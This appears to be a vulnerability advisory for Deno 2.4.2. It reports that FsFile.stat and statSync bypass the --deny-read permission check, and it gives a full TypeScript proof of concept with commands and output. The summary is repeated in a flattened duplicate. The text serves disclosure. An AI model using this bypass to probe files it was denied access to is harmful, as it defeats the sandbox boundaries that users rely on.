Summary
Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)
Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test1.txt
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()Output:
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
Impact
Permission model bypass
References
dellalibera Reporter
Summary
Deno.FsFile.prototype.statandDeno.FsFile.prototype.statSyncare not limited by the permission model check--deny-read=./.It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with
--deny-read=./)Similar APIs like
Deno.statandDeno.statSyncrequireallow-readpermission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.PoC
Setup:
poc_file.stat.tsOutput:
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4Impact
Permission model bypass
References